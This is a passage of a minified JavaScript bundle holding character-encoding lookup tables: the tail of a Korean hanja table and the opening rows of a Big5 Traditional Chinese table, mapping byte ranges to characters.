"諾酪駱亂卵暖欄煖爛蘭難鸞捏捺南嵐枏楠湳濫男藍襤拉"], ["d2a1", "納臘蠟衲囊娘廊", 4, "乃來內奈柰耐冷女年撚秊念恬拈捻寧寗努勞奴弩怒擄櫓爐瑙盧", 5, "駑魯", 10, "濃籠聾膿農惱牢磊腦賂雷尿壘", 7, "嫩訥杻紐勒", 5, "能菱陵尼泥匿溺多茶"], ["d3a1", "丹亶但單團壇彖斷旦檀段湍短端簞緞蛋袒鄲鍛撻澾獺疸達啖坍憺擔曇淡湛潭澹痰聃膽蕁覃談譚錟沓畓答踏遝唐堂塘幢戇撞棠當糖螳黨代垈坮大對岱帶待戴擡玳臺袋貸隊黛宅德悳倒刀到圖堵塗導屠島嶋度徒悼挑掉搗桃"], ["d4a1", "棹櫂淘渡滔濤燾盜睹禱稻萄覩賭跳蹈逃途道都鍍陶韜毒瀆牘犢獨督禿篤纛讀墩惇敦旽暾沌焞燉豚頓乭突仝冬凍動同憧東桐棟洞潼疼瞳童胴董銅兜斗杜枓痘竇荳讀豆逗頭屯臀芚遁遯鈍得嶝橙燈登等藤謄鄧騰喇懶拏癩羅"], ["d5a1", "蘿螺裸邏樂洛烙珞絡落諾酪駱丹亂卵欄欒瀾爛蘭鸞剌辣嵐擥攬欖濫籃纜藍襤覽拉臘蠟廊朗浪狼琅瑯螂郞來崍徠萊冷掠略亮倆兩凉梁樑粮粱糧良諒輛量侶儷勵呂廬慮戾旅櫚濾礪藜蠣閭驢驪麗黎力曆歷瀝礫轢靂憐戀攣漣"], ["d6a1", "煉璉練聯蓮輦連鍊冽列劣洌烈裂廉斂殮濂簾獵令伶囹寧岺嶺怜玲笭羚翎聆逞鈴零靈領齡例澧禮醴隷勞怒撈擄櫓潞瀘爐盧老蘆虜路輅露魯鷺鹵碌祿綠菉錄鹿麓論壟弄朧瀧瓏籠聾儡瀨牢磊賂賚賴雷了僚寮廖料燎療瞭聊蓼"], ["d7a1", "遼鬧龍壘婁屢樓淚漏瘻累縷蔞褸鏤陋劉旒柳榴流溜瀏琉瑠留瘤硫謬類六戮陸侖倫崙淪綸輪律慄栗率隆勒肋凜凌楞稜綾菱陵俚利厘吏唎履悧李梨浬犁狸理璃異痢籬罹羸莉裏裡里釐離鯉吝潾燐璘藺躪隣鱗麟林淋琳臨霖砬"], ["d8a1", "立笠粒摩瑪痲碼磨馬魔麻寞幕漠膜莫邈万卍娩巒彎慢挽晩曼滿漫灣瞞萬蔓蠻輓饅鰻唜抹末沫茉襪靺亡妄忘忙望網罔芒茫莽輞邙埋妹媒寐昧枚梅每煤罵買賣邁魅脈貊陌驀麥孟氓猛盲盟萌冪覓免冕勉棉沔眄眠綿緬面麵滅"], ["d9a1", "蔑冥名命明暝椧溟皿瞑茗蓂螟酩銘鳴袂侮冒募姆帽慕摸摹暮某模母毛牟牡瑁眸矛耗芼茅謀謨貌木沐牧目睦穆鶩歿沒夢朦蒙卯墓妙廟描昴杳渺猫竗苗錨務巫憮懋戊拇撫无楙武毋無珷畝繆舞茂蕪誣貿霧鵡墨默們刎吻問文"], ["daa1", "汶紊紋聞蚊門雯勿沕物味媚尾嵋彌微未梶楣渼湄眉米美薇謎迷靡黴岷悶愍憫敏旻旼民泯玟珉緡閔密蜜謐剝博拍搏撲朴樸泊珀璞箔粕縛膊舶薄迫雹駁伴半反叛拌搬攀斑槃泮潘班畔瘢盤盼磐磻礬絆般蟠返頒飯勃拔撥渤潑"], ["dba1", "發跋醱鉢髮魃倣傍坊妨尨幇彷房放方旁昉枋榜滂磅紡肪膀舫芳蒡蚌訪謗邦防龐倍俳北培徘拜排杯湃焙盃背胚裴裵褙賠輩配陪伯佰帛柏栢白百魄幡樊煩燔番磻繁蕃藩飜伐筏罰閥凡帆梵氾汎泛犯範范法琺僻劈壁擘檗璧癖"], ["dca1", "碧蘗闢霹便卞弁變辨辯邊別瞥鱉鼈丙倂兵屛幷昞昺柄棅炳甁病秉竝輧餠騈保堡報寶普步洑湺潽珤甫菩補褓譜輔伏僕匐卜宓復服福腹茯蔔複覆輹輻馥鰒本乶俸奉封峯峰捧棒烽熢琫縫蓬蜂逢鋒鳳不付俯傅剖副否咐埠夫婦"], ["dda1", "孚孵富府復扶敷斧浮溥父符簿缶腐腑膚艀芙莩訃負賦賻赴趺部釜阜附駙鳧北分吩噴墳奔奮忿憤扮昐汾焚盆粉糞紛芬賁雰不佛弗彿拂崩朋棚硼繃鵬丕備匕匪卑妃婢庇悲憊扉批斐枇榧比毖毗毘沸泌琵痺砒碑秕秘粃緋翡肥"], ["dea1", "脾臂菲蜚裨誹譬費鄙非飛鼻嚬嬪彬斌檳殯浜濱瀕牝玭貧賓頻憑氷聘騁乍事些仕伺似使俟僿史司唆嗣四士奢娑寫寺射巳師徙思捨斜斯柶査梭死沙泗渣瀉獅砂社祀祠私篩紗絲肆舍莎蓑蛇裟詐詞謝賜赦辭邪飼駟麝削數朔索"], ["dfa1", "傘刪山散汕珊産疝算蒜酸霰乷撒殺煞薩三參杉森渗芟蔘衫揷澁鈒颯上傷像償商喪嘗孀尙峠常床庠廂想桑橡湘爽牀狀相祥箱翔裳觴詳象賞霜塞璽賽嗇塞穡索色牲生甥省笙墅壻嶼序庶徐恕抒捿敍暑曙書栖棲犀瑞筮絮緖署"], ["e0a1", "胥舒薯西誓逝鋤黍鼠夕奭席惜昔晳析汐淅潟石碩蓆釋錫仙僊先善嬋宣扇敾旋渲煽琁瑄璇璿癬禪線繕羨腺膳船蘚蟬詵跣選銑鐥饍鮮卨屑楔泄洩渫舌薛褻設說雪齧剡暹殲纖蟾贍閃陝攝涉燮葉城姓宬性惺成星晟猩珹盛省筬"], ["e1a1", "聖聲腥誠醒世勢歲洗稅笹細說貰召嘯塑宵小少巢所掃搔昭梳沼消溯瀟炤燒甦疏疎瘙笑篠簫素紹蔬蕭蘇訴逍遡邵銷韶騷俗屬束涑粟續謖贖速孫巽損蓀遜飡率宋悚松淞訟誦送頌刷殺灑碎鎖衰釗修受嗽囚垂壽嫂守岫峀帥愁"], ["e2a1", "戍手授搜收數樹殊水洙漱燧狩獸琇璲瘦睡秀穗竪粹綏綬繡羞脩茱蒐蓚藪袖誰讐輸遂邃酬銖銹隋隧隨雖需須首髓鬚叔塾夙孰宿淑潚熟琡璹肅菽巡徇循恂旬栒楯橓殉洵淳珣盾瞬筍純脣舜荀蓴蕣詢諄醇錞順馴戌術述鉥崇崧"], ["e3a1", "嵩瑟膝蝨濕拾習褶襲丞乘僧勝升承昇繩蠅陞侍匙嘶始媤尸屎屍市弑恃施是時枾柴猜矢示翅蒔蓍視試詩諡豕豺埴寔式息拭植殖湜熄篒蝕識軾食飾伸侁信呻娠宸愼新晨燼申神紳腎臣莘薪藎蜃訊身辛辰迅失室實悉審尋心沁"], ["e4a1", "沈深瀋甚芯諶什十拾雙氏亞俄兒啞娥峨我牙芽莪蛾衙訝阿雅餓鴉鵝堊岳嶽幄惡愕握樂渥鄂鍔顎鰐齷安岸按晏案眼雁鞍顔鮟斡謁軋閼唵岩巖庵暗癌菴闇壓押狎鴨仰央怏昻殃秧鴦厓哀埃崖愛曖涯碍艾隘靄厄扼掖液縊腋額"], ["e5a1", "櫻罌鶯鸚也倻冶夜惹揶椰爺耶若野弱掠略約若葯蒻藥躍亮佯兩凉壤孃恙揚攘敭暘梁楊樣洋瀁煬痒瘍禳穰糧羊良襄諒讓釀陽量養圄御於漁瘀禦語馭魚齬億憶抑檍臆偃堰彦焉言諺孼蘖俺儼嚴奄掩淹嶪業円予余勵呂女如廬"], ["e6a1", "旅歟汝濾璵礖礪與艅茹輿轝閭餘驪麗黎亦力域役易曆歷疫繹譯轢逆驛嚥堧姸娟宴年延憐戀捐挻撚椽沇沿涎涓淵演漣烟然煙煉燃燕璉硏硯秊筵緣練縯聯衍軟輦蓮連鉛鍊鳶列劣咽悅涅烈熱裂說閱厭廉念捻染殮炎焰琰艶苒"], ["e7a1", "簾閻髥鹽曄獵燁葉令囹塋寧嶺嶸影怜映暎楹榮永泳渶潁濚瀛瀯煐營獰玲瑛瑩瓔盈穎纓羚聆英詠迎鈴鍈零霙靈領乂倪例刈叡曳汭濊猊睿穢芮藝蘂禮裔詣譽豫醴銳隸霓預五伍俉傲午吾吳嗚塢墺奧娛寤悟惡懊敖旿晤梧汚澳"], ["e8a1", "烏熬獒筽蜈誤鰲鼇屋沃獄玉鈺溫瑥瘟穩縕蘊兀壅擁瓮甕癰翁邕雍饔渦瓦窩窪臥蛙蝸訛婉完宛梡椀浣玩琓琬碗緩翫脘腕莞豌阮頑曰往旺枉汪王倭娃歪矮外嵬巍猥畏了僚僥凹堯夭妖姚寥寮尿嶢拗搖撓擾料曜樂橈燎燿瑤療"], ["e9a1", "窈窯繇繞耀腰蓼蟯要謠遙遼邀饒慾欲浴縟褥辱俑傭冗勇埇墉容庸慂榕涌湧溶熔瑢用甬聳茸蓉踊鎔鏞龍于佑偶優又友右宇寓尤愚憂旴牛玗瑀盂祐禑禹紆羽芋藕虞迂遇郵釪隅雨雩勖彧旭昱栯煜稶郁頊云暈橒殞澐熉耘芸蕓"], ["eaa1", "運隕雲韻蔚鬱亐熊雄元原員圓園垣媛嫄寃怨愿援沅洹湲源爰猿瑗苑袁轅遠阮院願鴛月越鉞位偉僞危圍委威尉慰暐渭爲瑋緯胃萎葦蔿蝟衛褘謂違韋魏乳侑儒兪劉唯喩孺宥幼幽庾悠惟愈愉揄攸有杻柔柚柳楡楢油洧流游溜"], ["eba1", "濡猶猷琉瑜由留癒硫紐維臾萸裕誘諛諭踰蹂遊逾遺酉釉鍮類六堉戮毓肉育陸倫允奫尹崙淪潤玧胤贇輪鈗閏律慄栗率聿戎瀜絨融隆垠恩慇殷誾銀隱乙吟淫蔭陰音飮揖泣邑凝應膺鷹依倚儀宜意懿擬椅毅疑矣義艤薏蟻衣誼"], ["eca1", "議醫二以伊利吏夷姨履已弛彛怡易李梨泥爾珥理異痍痢移罹而耳肄苡荑裏裡貽貳邇里離飴餌匿溺瀷益翊翌翼謚人仁刃印吝咽因姻寅引忍湮燐璘絪茵藺蚓認隣靭靷鱗麟一佚佾壹日溢逸鎰馹任壬妊姙恁林淋稔臨荏賃入卄"], ["eda1", "立笠粒仍剩孕芿仔刺咨姉姿子字孜恣慈滋炙煮玆瓷疵磁紫者自茨蔗藉諮資雌作勺嚼斫昨灼炸爵綽芍酌雀鵲孱棧殘潺盞岑暫潛箴簪蠶雜丈仗匠場墻壯奬將帳庄張掌暲杖樟檣欌漿牆狀獐璋章粧腸臟臧莊葬蔣薔藏裝贓醬長"], ["eea1", "障再哉在宰才材栽梓渽滓災縡裁財載齋齎爭箏諍錚佇低儲咀姐底抵杵楮樗沮渚狙猪疽箸紵苧菹著藷詛貯躇這邸雎齟勣吊嫡寂摘敵滴狄炙的積笛籍績翟荻謫賊赤跡蹟迪迹適鏑佃佺傳全典前剪塡塼奠專展廛悛戰栓殿氈澱"], ["efa1", "煎琠田甸畑癲筌箋箭篆纏詮輾轉鈿銓錢鐫電顚顫餞切截折浙癤竊節絶占岾店漸点粘霑鮎點接摺蝶丁井亭停偵呈姃定幀庭廷征情挺政整旌晶晸柾楨檉正汀淀淨渟湞瀞炡玎珽町睛碇禎程穽精綎艇訂諪貞鄭酊釘鉦鋌錠霆靖"], ["f0a1", "靜頂鼎制劑啼堤帝弟悌提梯濟祭第臍薺製諸蹄醍除際霽題齊俎兆凋助嘲弔彫措操早晁曺曹朝條棗槽漕潮照燥爪璪眺祖祚租稠窕粗糟組繰肇藻蚤詔調趙躁造遭釣阻雕鳥族簇足鏃存尊卒拙猝倧宗從悰慫棕淙琮種終綜縱腫"], ["f1a1", "踪踵鍾鐘佐坐左座挫罪主住侏做姝胄呪周嗾奏宙州廚晝朱柱株注洲湊澍炷珠疇籌紂紬綢舟蛛註誅走躊輳週酎酒鑄駐竹粥俊儁准埈寯峻晙樽浚準濬焌畯竣蠢逡遵雋駿茁中仲衆重卽櫛楫汁葺增憎曾拯烝甑症繒蒸證贈之只"], ["f2a1", "咫地址志持指摯支旨智枝枳止池沚漬知砥祉祗紙肢脂至芝芷蜘誌識贄趾遲直稙稷織職唇嗔塵振搢晉晋桭榛殄津溱珍瑨璡畛疹盡眞瞋秦縉縝臻蔯袗診賑軫辰進鎭陣陳震侄叱姪嫉帙桎瓆疾秩窒膣蛭質跌迭斟朕什執潗緝輯"], ["f3a1", "鏶集徵懲澄且侘借叉嗟嵯差次此磋箚茶蹉車遮捉搾着窄錯鑿齪撰澯燦璨瓚竄簒纂粲纘讚贊鑽餐饌刹察擦札紮僭參塹慘慙懺斬站讒讖倉倡創唱娼廠彰愴敞昌昶暢槍滄漲猖瘡窓脹艙菖蒼債埰寀寨彩採砦綵菜蔡采釵冊柵策"], ["f4a1", "責凄妻悽處倜刺剔尺慽戚拓擲斥滌瘠脊蹠陟隻仟千喘天川擅泉淺玔穿舛薦賤踐遷釧闡阡韆凸哲喆徹撤澈綴輟轍鐵僉尖沾添甛瞻簽籤詹諂堞妾帖捷牒疊睫諜貼輒廳晴淸聽菁請靑鯖切剃替涕滯締諦逮遞體初剿哨憔抄招梢"], ["f5a1", "椒楚樵炒焦硝礁礎秒稍肖艸苕草蕉貂超酢醋醮促囑燭矗蜀觸寸忖村邨叢塚寵悤憁摠總聰蔥銃撮催崔最墜抽推椎楸樞湫皺秋芻萩諏趨追鄒酋醜錐錘鎚雛騶鰍丑畜祝竺筑築縮蓄蹙蹴軸逐春椿瑃出朮黜充忠沖蟲衝衷悴膵萃"], ["f6a1", "贅取吹嘴娶就炊翠聚脆臭趣醉驟鷲側仄厠惻測層侈値嗤峙幟恥梔治淄熾痔痴癡稚穉緇緻置致蚩輜雉馳齒則勅飭親七柒漆侵寢枕沈浸琛砧針鍼蟄秤稱快他咤唾墮妥惰打拖朶楕舵陀馱駝倬卓啄坼度托拓擢晫柝濁濯琢琸託"], ["f7a1", "鐸呑嘆坦彈憚歎灘炭綻誕奪脫探眈耽貪塔搭榻宕帑湯糖蕩兌台太怠態殆汰泰笞胎苔跆邰颱宅擇澤撑攄兎吐土討慟桶洞痛筒統通堆槌腿褪退頹偸套妬投透鬪慝特闖坡婆巴把播擺杷波派爬琶破罷芭跛頗判坂板版瓣販辦鈑"], ["f8a1", "阪八叭捌佩唄悖敗沛浿牌狽稗覇貝彭澎烹膨愎便偏扁片篇編翩遍鞭騙貶坪平枰萍評吠嬖幣廢弊斃肺蔽閉陛佈包匍匏咆哺圃布怖抛抱捕暴泡浦疱砲胞脯苞葡蒲袍褒逋鋪飽鮑幅暴曝瀑爆輻俵剽彪慓杓標漂瓢票表豹飇飄驃"], ["f9a1", "品稟楓諷豊風馮彼披疲皮被避陂匹弼必泌珌畢疋筆苾馝乏逼下何厦夏廈昰河瑕荷蝦賀遐霞鰕壑學虐謔鶴寒恨悍旱汗漢澣瀚罕翰閑閒限韓割轄函含咸啣喊檻涵緘艦銜陷鹹合哈盒蛤閤闔陜亢伉姮嫦巷恒抗杭桁沆港缸肛航"], ["faa1", "行降項亥偕咳垓奚孩害懈楷海瀣蟹解該諧邂駭骸劾核倖幸杏荇行享向嚮珦鄕響餉饗香噓墟虛許憲櫶獻軒歇險驗奕爀赫革俔峴弦懸晛泫炫玄玹現眩睍絃絢縣舷衒見賢鉉顯孑穴血頁嫌俠協夾峽挾浹狹脅脇莢鋏頰亨兄刑型"], ["fba1", "形泂滎瀅灐炯熒珩瑩荊螢衡逈邢鎣馨兮彗惠慧暳蕙蹊醯鞋乎互呼壕壺好岵弧戶扈昊晧毫浩淏湖滸澔濠濩灝狐琥瑚瓠皓祜糊縞胡芦葫蒿虎號蝴護豪鎬頀顥惑或酷婚昏混渾琿魂忽惚笏哄弘汞泓洪烘紅虹訌鴻化和嬅樺火畵"], ["fca1", "禍禾花華話譁貨靴廓擴攫確碻穫丸喚奐宦幻患換歡晥桓渙煥環紈還驩鰥活滑猾豁闊凰幌徨恍惶愰慌晃晄榥況湟滉潢煌璜皇篁簧荒蝗遑隍黃匯回廻徊恢悔懷晦會檜淮澮灰獪繪膾茴蛔誨賄劃獲宖橫鐄哮嚆孝效斅曉梟涍淆"], ["fda1", "爻肴酵驍侯候厚后吼喉嗅帿後朽煦珝逅勛勳塤壎焄熏燻薰訓暈薨喧暄煊萱卉喙毁彙徽揮暉煇諱輝麾休携烋畦虧恤譎鷸兇凶匈洶胸黑昕欣炘痕吃屹紇訖欠欽歆吸恰洽翕興僖凞喜噫囍姬嬉希憙憘戱晞曦熙熹熺犧禧稀羲詰"]]
    }, function (t, e) {
        t.exports = [["0", "\0", 127], ["a140", " ,、。.‧;:?!︰…‥﹐﹑﹒·﹔﹕﹖﹗|–︱—︳╴︴﹏()︵︶{}︷︸〔〕︹︺【】︻︼《》︽︾〈〉︿﹀「」﹁﹂『』﹃﹄﹙﹚"], ["a1a1", "﹛﹜﹝﹞‘’“”〝〞‵′#&*※§〃○●△▲◎☆★◇◆□■▽▼㊣℅¯ ̄_ˍ﹉﹊﹍﹎﹋﹌﹟﹠﹡+-×÷±√<>=≦≧≠∞≒≡﹢", 4, "~∩∪⊥∠∟⊿㏒㏑∫∮∵∴♀♂⊕⊙↑↓←→↖↗↙↘∥∣/"], ["a240", "\∕﹨$¥〒¢£%@℃℉﹩﹪﹫㏕㎜㎝㎞㏎㎡㎎㎏㏄°兙兛兞兝兡兣嗧瓩糎▁", 7, "▏▎▍▌▋▊▉┼┴┬┤├▔─│▕┌┐└┘╭"], ["a2a1", "╮╰╯═╞╪╡◢◣◥◤╱╲╳0", 9, "Ⅰ", 9, "〡", 8, "十卄卅A", 25, "a", 21], ["a340", "wxyzΑ", 16, "Σ", 6, "α", 16, "σ", 6, "ㄅ", 10], ["a3a1", "ㄐ", 25, "˙ˉˊˇˋ"], ["a3e1", "€"], ["a440", "一乙丁七乃九了二人儿入八几刀刁力匕十卜又三下丈上丫丸凡久么也乞于亡兀刃勺千叉口土士夕大女子孑孓寸小尢尸山川工己已巳巾干廾弋弓才"], ["a4a1", "丑丐不中丰丹之尹予云井互五亢仁什仃仆仇仍今介仄元允內六兮公冗凶分切刈勻勾勿化匹午升卅卞厄友及反壬天夫太夭孔少尤尺屯巴幻廿弔引心戈戶手扎支文斗斤方日曰月木欠止歹毋比毛氏水火爪父爻片牙牛犬王丙"], ["a540", "世丕且丘主乍乏乎以付仔仕他仗代令仙仞充兄冉冊冬凹出凸刊加功包匆北匝仟半卉卡占卯卮去可古右召叮叩叨叼司叵叫另只史叱台句叭叻四囚外"], ["a5a1", "央失奴奶孕它尼巨巧左市布平幼弁弘弗必戊打扔扒扑斥旦朮本未末札正母民氐永汁汀氾犯玄玉瓜瓦甘生用甩田由甲申疋白皮皿目矛矢石示禾穴立丞丟乒乓乩亙交亦亥仿伉伙伊伕伍伐休伏仲件任仰仳份企伋光兇兆先全"], ["a640", "共再冰列刑划刎刖劣匈匡匠印危吉吏同吊吐吁吋各向名合吃后吆吒因回囝圳地在圭圬圯圩夙多夷夸妄奸妃好她如妁字存宇守宅安寺尖屹州帆并年"], ["a6a1", "式弛忙忖戎戌戍成扣扛托收早旨旬旭曲曳有朽朴朱朵次此死氖汝汗汙江池汐汕污汛汍汎灰牟牝百竹米糸缶羊羽老考而耒耳聿肉肋肌臣自至臼舌舛舟艮色艾虫血行衣西阡串亨位住佇佗佞伴佛何估佐佑伽伺伸佃佔似但佣"], ["a740", "作你伯低伶余佝佈佚兌克免兵冶冷別判利刪刨劫助努劬匣即卵吝吭吞吾否呎吧呆呃吳呈呂君吩告吹吻吸吮吵吶吠吼呀吱含吟听囪困囤囫坊坑址坍"], ["a7a1", "均坎圾坐坏圻壯夾妝妒妨妞妣妙妖妍妤妓妊妥孝孜孚孛完宋宏尬局屁尿尾岐岑岔岌巫希序庇床廷弄弟彤形彷役忘忌志忍忱快忸忪戒我抄抗抖技扶抉扭把扼找批扳抒扯折扮投抓抑抆改攻攸旱更束李杏材村杜杖杞杉杆杠"], ["a840", "杓杗步每求汞沙沁沈沉沅沛汪決沐汰沌汨沖沒汽沃汲汾汴沆汶沍沔沘沂灶灼災灸牢牡牠狄狂玖甬甫男甸皂盯矣私秀禿究系罕肖肓肝肘肛肚育良芒"], ["a8a1", "芋芍見角言谷豆豕貝赤走足身車辛辰迂迆迅迄巡邑邢邪邦那酉釆里防阮阱阪阬並乖乳事些亞享京佯依侍佳使佬供例來侃佰併侈佩佻侖佾侏侑佺兔兒兕兩具其典冽函刻券刷刺到刮制剁劾劻卒協卓卑卦卷卸卹取叔受味呵"], ["a940", "咖呸咕咀呻呷咄咒咆呼咐呱呶和咚呢周咋命咎固垃坷坪坩坡坦坤坼夜奉奇奈奄奔妾妻委妹妮姑姆姐姍始姓姊妯妳姒姅孟孤季宗定官宜宙宛尚屈居"], ["a9a1", "屆岷岡岸岩岫岱岳帘帚帖帕帛帑幸庚店府底庖延弦弧弩往征彿彼忝忠忽念忿怏怔怯怵怖怪怕怡性怩怫怛或戕房戾所承拉拌拄抿拂抹拒招披拓拔拋拈抨抽押拐拙拇拍抵拚抱拘拖拗拆抬拎放斧於旺昔易昌昆昂明昀昏昕昊"], ["aa40", "昇服朋杭枋枕東果杳杷枇枝林杯杰板枉松析杵枚枓杼杪杲欣武歧歿氓氛泣注泳沱泌泥河沽沾沼波沫法泓沸泄油況沮泗泅泱沿治泡泛泊沬泯泜泖泠"], ["aaa1", "炕炎炒炊炙爬爭爸版牧物狀狎狙狗狐玩玨玟玫玥甽疝疙疚的盂盲直知矽社祀祁秉秈空穹竺糾罔羌羋者肺肥肢肱股肫肩肴肪肯臥臾舍芳芝芙芭芽芟芹花芬芥芯芸芣芰芾芷虎虱初表軋迎返近邵邸邱邶采金長門阜陀阿阻附"], ["ab40", "陂隹雨青非亟亭亮信侵侯便俠俑俏保促侶俘俟俊俗侮俐俄係俚俎俞侷兗冒冑冠剎剃削前剌剋則勇勉勃勁匍南卻厚叛咬哀咨哎哉咸咦咳哇哂咽咪品"], ["aba1", "哄哈咯咫咱咻咩咧咿囿垂型垠垣垢城垮垓奕契奏奎奐姜姘姿姣姨娃姥姪姚姦威姻孩宣宦室客宥封屎屏屍屋峙峒巷帝帥帟幽庠度建弈弭彥很待徊律徇後徉怒思怠急怎怨恍恰恨恢恆恃恬恫恪恤扁拜挖按拼拭持拮拽指拱拷"], ["ac40", "拯括拾拴挑挂政故斫施既春昭映昧是星昨昱昤曷柿染柱柔某柬架枯柵柩柯柄柑枴柚查枸柏柞柳枰柙柢柝柒歪殃殆段毒毗氟泉洋洲洪流津洌洱洞洗"], ["aca1", "活洽派洶洛泵洹洧洸洩洮洵洎洫炫為炳炬炯炭炸炮炤爰牲牯牴狩狠狡玷珊玻玲珍珀玳甚甭畏界畎畋疫疤疥疢疣癸皆皇皈盈盆盃盅省盹相眉看盾盼眇矜砂研砌砍祆祉祈祇禹禺科秒秋穿突竿竽籽紂紅紀紉紇約紆缸美羿耄"], ["ad40", "耐耍耑耶胖胥胚胃胄背胡胛胎胞胤胝致舢苧范茅苣苛苦茄若茂茉苒苗英茁苜苔苑苞苓苟苯茆虐虹虻虺衍衫要觔計訂訃貞負赴赳趴軍軌述迦迢迪迥"], ["ada1", "迭迫迤迨郊郎郁郃酋酊重閂限陋陌降面革韋韭音頁風飛食首香乘亳倌倍倣俯倦倥俸倩倖倆值借倚倒們俺倀倔倨俱倡個候倘俳修倭倪俾倫倉兼冤冥冢凍凌准凋剖剜剔剛剝匪卿原厝叟哨唐唁唷哼哥哲唆哺唔哩哭員唉哮哪"], ["ae40", "哦唧唇哽唏圃圄埂埔埋埃堉夏套奘奚娑娘娜娟娛娓姬娠娣娩娥娌娉孫屘宰害家宴宮宵容宸射屑展屐峭峽峻峪峨峰島崁峴差席師庫庭座弱徒徑徐恙"], ["aea1", "恣恥恐恕恭恩息悄悟悚悍悔悌悅悖扇拳挈拿捎挾振捕捂捆捏捉挺捐挽挪挫挨捍捌效敉料旁旅時晉晏晃晒晌晅晁書朔朕朗校核案框桓根桂桔栩梳栗桌桑栽柴桐桀格桃株桅栓栘桁殊殉殷氣氧氨氦氤泰浪涕消涇浦浸海浙涓"], ["af40", "浬涉浮浚浴浩涌涊浹涅浥涔烊烘烤烙烈烏爹特狼狹狽狸狷玆班琉珮珠珪珞畔畝畜畚留疾病症疲疳疽疼疹痂疸皋皰益盍盎眩真眠眨矩砰砧砸砝破砷"], ["afa1", "砥砭砠砟砲祕祐祠祟祖神祝祗祚秤秣秧租秦秩秘窄窈站笆笑粉紡紗紋紊素索純紐紕級紜納紙紛缺罟羔翅翁耆耘耕耙耗耽耿胱脂胰脅胭胴脆胸胳脈能脊胼胯臭臬舀舐航舫舨般芻茫荒荔荊茸荐草茵茴荏茲茹茶茗荀茱茨荃"], ["b040", "虔蚊蚪蚓蚤蚩蚌蚣蚜衰衷袁袂衽衹記訐討訌訕訊託訓訖訏訑豈豺豹財貢起躬軒軔軏辱送逆迷退迺迴逃追逅迸邕郡郝郢酒配酌釘針釗釜釙閃院陣陡"], ["b0a1", "陛陝除陘陞隻飢馬骨高鬥鬲鬼乾偺偽停假偃偌做偉健偶偎偕偵側偷偏倏偯偭兜冕凰剪副勒務勘動匐匏匙匿區匾參曼商啪啦啄啞啡啃啊唱啖問啕唯啤唸售啜唬啣唳啁啗圈國圉域堅堊堆埠埤基堂堵執培夠奢娶婁婉婦婪婀"], ["b140", "娼婢婚婆婊孰寇寅寄寂宿密尉專將屠屜屝崇崆崎崛崖崢崑崩崔崙崤崧崗巢常帶帳帷康庸庶庵庾張強彗彬彩彫得徙從徘御徠徜恿患悉悠您惋悴惦悽"], ["b1a1", "情悻悵惜悼惘惕惆惟悸惚惇戚戛扈掠控捲掖探接捷捧掘措捱掩掉掃掛捫推掄授掙採掬排掏掀捻捩捨捺敝敖救教敗啟敏敘敕敔斜斛斬族旋旌旎晝晚晤晨晦晞曹勗望梁梯梢梓梵桿桶梱梧梗械梃棄梭梆梅梔條梨梟梡梂欲殺"], ["b240", "毫毬氫涎涼淳淙液淡淌淤添淺清淇淋涯淑涮淞淹涸混淵淅淒渚涵淚淫淘淪深淮淨淆淄涪淬涿淦烹焉焊烽烯爽牽犁猜猛猖猓猙率琅琊球理現琍瓠瓶"], ["b2a1", "瓷甜產略畦畢異疏痔痕疵痊痍皎盔盒盛眷眾眼眶眸眺硫硃硎祥票祭移窒窕笠笨笛第符笙笞笮粒粗粕絆絃統紮紹紼絀細紳組累終紲紱缽羞羚翌翎習耜聊聆脯脖脣脫脩脰脤舂舵舷舶船莎莞莘荸莢莖莽莫莒莊莓莉莠荷荻荼"], ["b340", "莆莧處彪蛇蛀蚶蛄蚵蛆蛋蚱蚯蛉術袞袈被袒袖袍袋覓規訪訝訣訥許設訟訛訢豉豚販責貫貨貪貧赧赦趾趺軛軟這逍通逗連速逝逐逕逞造透逢逖逛途"], ["b3a1", "部郭都酗野釵釦釣釧釭釩閉陪陵陳陸陰陴陶陷陬雀雪雩章竟頂頃魚鳥鹵鹿麥麻傢傍傅備傑傀傖傘傚最凱割剴創剩勞勝勛博厥啻喀喧啼喊喝喘喂喜喪喔喇喋喃喳單喟唾喲喚喻喬喱啾喉喫喙圍堯堪場堤堰報堡堝堠壹壺奠"], ["b440", "婷媚婿媒媛媧孳孱寒富寓寐尊尋就嵌嵐崴嵇巽幅帽幀幃幾廊廁廂廄弼彭復循徨惑惡悲悶惠愜愣惺愕惰惻惴慨惱愎惶愉愀愒戟扉掣掌描揀揩揉揆揍"], ["b4a1", "插揣提握揖揭揮捶援揪換摒揚揹敞敦敢散斑斐斯普晰晴晶景暑智晾晷曾替期朝棺棕棠棘棗椅棟棵森棧棹棒棲棣棋棍植椒椎棉棚楮棻款欺欽殘殖殼毯氮氯氬港游湔渡渲湧湊渠渥渣減湛湘渤湖湮渭渦湯渴湍渺測湃渝渾滋"], ["b540", "溉渙湎湣湄湲湩湟焙焚焦焰無然煮焜牌犄犀猶猥猴猩琺琪琳琢琥琵琶琴琯琛琦琨甥甦畫番痢痛痣痙痘痞痠登發皖皓皴盜睏短硝硬硯稍稈程稅稀窘"], ["b5a1", "窗窖童竣等策筆筐筒答筍筋筏筑粟粥絞結絨絕紫絮絲絡給絢絰絳善翔翕耋聒肅腕腔腋腑腎脹腆脾腌腓腴舒舜菩萃菸萍菠菅萋菁華菱菴著萊菰萌菌菽菲菊萸萎萄菜萇菔菟虛蛟蛙蛭蛔蛛蛤蛐蛞街裁裂袱覃視註詠評詞証詁"], ["b640", "詔詛詐詆訴診訶詖象貂貯貼貳貽賁費賀貴買貶貿貸越超趁跎距跋跚跑跌跛跆軻軸軼辜逮逵週逸進逶鄂郵鄉郾酣酥量鈔鈕鈣鈉鈞鈍鈐鈇鈑閔閏開閑"], ["b6a1", "間閒閎隊階隋陽隅隆隍陲隄雁雅雄集雇雯雲韌項順須飧飪飯飩飲飭馮馭黃黍黑亂傭債傲傳僅傾催傷傻傯僇剿剷剽募勦勤勢勣匯嗟嗨嗓嗦嗎嗜嗇嗑嗣嗤嗯嗚嗡嗅嗆嗥嗉園圓塞塑塘塗塚塔填塌塭塊塢塒塋奧嫁嫉嫌媾媽媼"], ["b740", "媳嫂媲嵩嵯幌幹廉廈弒彙徬微愚意慈感想愛惹愁愈慎慌慄慍愾愴愧愍愆愷戡戢搓搾搞搪搭搽搬搏搜搔損搶搖搗搆敬斟新暗暉暇暈暖暄暘暍會榔業"], ["b7a1", 